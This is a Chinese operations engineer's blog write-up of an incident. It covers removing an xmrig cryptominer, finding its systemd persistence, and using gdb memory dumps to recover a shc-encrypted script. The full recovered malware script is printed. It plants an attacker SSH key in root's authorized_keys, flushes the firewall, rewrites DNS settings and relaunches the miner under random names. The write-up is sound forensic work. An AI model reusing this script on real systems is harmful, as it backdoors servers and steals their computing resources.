运维渣渣一名,机房服务器被挖矿了,这回的情况跟以前不一样。之前遇到的挖矿病毒都很简单,ps -ef 和 ss -tupn 就能看到 xmrig,crontab -e 就能看到定时任务,然后删删删就完事了。
这回好像比较高深。
- ss -tupn
惊到了吧,程序名叫 00be36318e,有种加密的感觉。
2. 根据进程号去找源程序
发现源程序已经被删了。
不过没事,只要程序在内存中,就能知道它到底是个什么东西。复制出来看看
还是 xmrig。
3. 现在确定是xmrig了,但源程序还是没找到,只知道程序在内存里。现在杀掉进程35094,你会发现过几秒它又会自动起来,只是换个程序名。
既然是自动启动,那看看crontab -e,什么都没有。能够自动启动的程序,不在定时任务,那肯定是系统服务了。
systemctl list-unit-files | grep enabled 查看系统服务,如果服务不多,一个一个看,如果服务太多,那就比较浪费时间了。
strings /proc/35094/environ 查看环境变量,发现了 /usr/sbin/route_forbidden-close 这个玩意,就是文章标题中的加密脚本。
然后根据route_forbidden-close查找是哪个系统服务,找到 pmapx_start_2.service
问题的根源算是找到了,禁用然后删除 pmapx_start_2.service,挖矿进程就不会再启动了。
4. 清理完系统服务,删掉挖矿源程序,基本上就结束了。但是等等,难道没人想知道 route_forbidden-close 这个玩意里面到底是什么东西吗?
strings 查看一下
原来是upx压缩过的文件,那就解压吧
得到了 源文件 route_forbidden-close.real。
根据上网查资料和经验,感觉这个东西是 shc 加密的脚本。
有arc4,那多半是了。接下来就是解密 shc 加密的脚本了。
5. 上网搜解密 shc 加密的脚本,有很多相关的方法,但是都很旧了,github上也有 unshc的代码。试过了,都不行。有点郁闷,因为这个东西从理论上一定是可以解密的,可惜没有现成的方法。
一度萌生了阅读 shc的源码的想法,原理也很简单,源码也不多,1000多行。看了几天,调试了几天,放弃了,我去,我还是干运维吧。
读懂了源码肯定能解密,但是效率太低了,而且如果黑客把shc稍微改一下,甚至改个算法,那你这源码相当于白看了。
中途看到了这篇文章,
宇宇 | Les1ie's Blogles1ie.com/2021/05/18/%E4%B8%A4%E6%AC%A1%E6%BA%AF%E6%BA%90/编辑
作者的同事通过 IDA 这个软件从内存里获取了 route_forbidden-close 的 shell 脚本原文,也和作者进行了交流,了解到通过程序内存可以获取到脚本原文。
因为我没用过 Ida,下载了也不知道怎么用。于是研究通过 gdb 调试的办法 dump 内存。
研究过程就不展开了,直接给答案了。
6. 通过 gdb 调试 dump 程序内存,从而解密 shc 加密的脚本。
记下 12261 进程号,不要退出 gdb, 打开新的ssh会话
dump 内存
退出 gdb
strings /tmp/xxx-heap-0707.bin 可以看到脚本原文。
得到了脚本原文,就知道这玩意到底干了什么,也能把它留下的垃圾全部清理干净,不留痕迹。
附上脚本全文
#!/bin/bash
### Functii / Variabile ###
random_name="$(openssl rand -hex 5)"
locatie_miner_default="/usr/sbin/rmt_remount-open"
locatie_pid="/usr/local/share/.logfile"
sshkey="ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAoRh5CpR0h90JlvwmaVUv7wkzp/D2dqs9v9jpR0XVzJOMTafumdQYNHgWpfXd8N8Er01aYeZfe8070bNwNHgueubH96beSEs3gPtIpcrpDMtzRDHkieUlVwyLfbJxXgYWjikuQtn8HNU21hJ5BIUqLKSKAJ1LvPY3O6QVrQwBPbKaIkdbbKDfAYgBRYvCS6n9wvqyTHmN4Yk/CPW4Y489rvffuxGD+NzdX0gfUqu8+YcC8gPV7RcFsqrXMssKHaEg/XSMiuzRqNOy4SzXAM5Rxgst8ff6v9hCR5kx5QbGuIwS4DseWymEjs4YqgXAT5THV6baXG6Tf5utfzDxoCAM0w== raducu"
########################################################
if [ -f /usr/sbin/lib23fr ]; then
static=/usr/sbin/lib23fr
else
static=cp
if [ -f /usr/sbin/chattr_bakv2 ]; then
static2=/usr/sbin/chattr_bakv2
else
static2=chattr
if [ -f /usr/sbin/lodosir ]; then
static3=/usr/sbin/lodosir
else
static3=rm
########################################################
permisiuni_logs(){
$static2 -i -a -j -t -d -u /usr
$static2 -i -a -j -t -d -u /usr/bin
$static2 -i -a -j -t -d -u /usr/local
$static2 -i -a -j -t -d -u /usr/local/share
$static2 -i -a -j -t -d -u $locatie_pid
chmod +x $locatie_pid
######
sshkeyset() {
if [ $(id -u) = 0 ]; then
if [ -f "/root/.ssh/authorized_keys" ]; then
if ! cat /root/.ssh/authorized_keys | grep -q "${sshkey}" ; then
$static2 -i -a -j -t -d -u /root ; $static2 -i -a -j -t -d -u /root/.ssh ; $static2 -i -a -j -t -d -u /root/.ssh/authorized_keys
echo $sshkey > "/root/.ssh/authorized_keys"
chmod 600 /root/.ssh/authorized_keys
$static2 +i /root/.ssh/authorized_keys
else
:
fi
else
if [ -d "/root/.ssh" ]; then
$static2 -i -a -j -t -d -u /root/.ssh
echo $sshkey > "/root/.ssh/authorized_keys"
chmod 600 /root/.ssh/authorized_keys
$static2 +i /root/.ssh/authorized_keys
else
$static2 -i -a -j -t -d -u /root
mkdir "/root/.ssh"
echo $sshkey > "/root/.ssh/authorized_keys"
chmod 600 /root/.ssh/authorized_keys
$static2 +i /root/.ssh/authorized_keys
fi
fi
######
scoatem_ports(){
iptables -F ; iptables --flush ; echo "nameserver 8.8.8.8"> /etc/resolv.conf
######
kulkat() {
if [ -f /usr/bin/config.json ]; then
$static2 -i -a -j -t -d -u /usr/bin/config.json
rm -rf /usr/bin/config.json
######
functie_on(){
$static2 -i -a -j -t -d -u /usr/bin
$static2 -i -a -j -t -d -u /usr
$static $locatie_miner_default /usr/bin/$random_name
/usr/bin/$random_name > /dev/null 2>&1 & disown
echo $random_name > $locatie_pid
$static3 -rf /usr/bin/$random_name
######
### End of Functii / Varibile ###
## aici incepe tot codu cica
permisiuni_logs
sshkeyset
scoatem_ports
kulkat
functie_on
------------------------------
GDB FILENAME
BREAK EXIT
RUN
(root)GREP HEAP proc/xxxxx/maps
(gdb)dump binary memory tmp/0721.bin 0x123 0x123
strings tmp/0721.bin